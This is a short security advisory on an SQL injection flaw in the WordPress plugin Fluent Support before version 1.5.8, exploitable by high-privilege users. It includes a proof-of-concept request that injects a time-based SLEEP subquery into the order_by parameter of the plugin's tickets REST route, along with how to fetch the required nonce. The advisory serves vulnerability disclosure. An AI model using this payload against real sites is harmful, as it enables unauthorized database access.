Fluent Support < 1.5.8 - Admin+ SQLi

The plugin does not properly sanitise, validate and escape various parameters before using them in an SQL statement, leading to an SQL Injection vulnerability exploitable by high privilege users

PoC

With at least one support ticket in the system: https://example.com/?rest_route=/fluent-support/v2/tickets&amp;page;=1&amp;per;_page=10&amp;order;_by=priority`=`priority` AND (SELECT 9285 FROM (SELECT(SLEEP(5)))BuXj)%20AND%20priority=`priority&order;_type=ASC&_wpnonce=f8394cb76d Nonce is retrieved via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce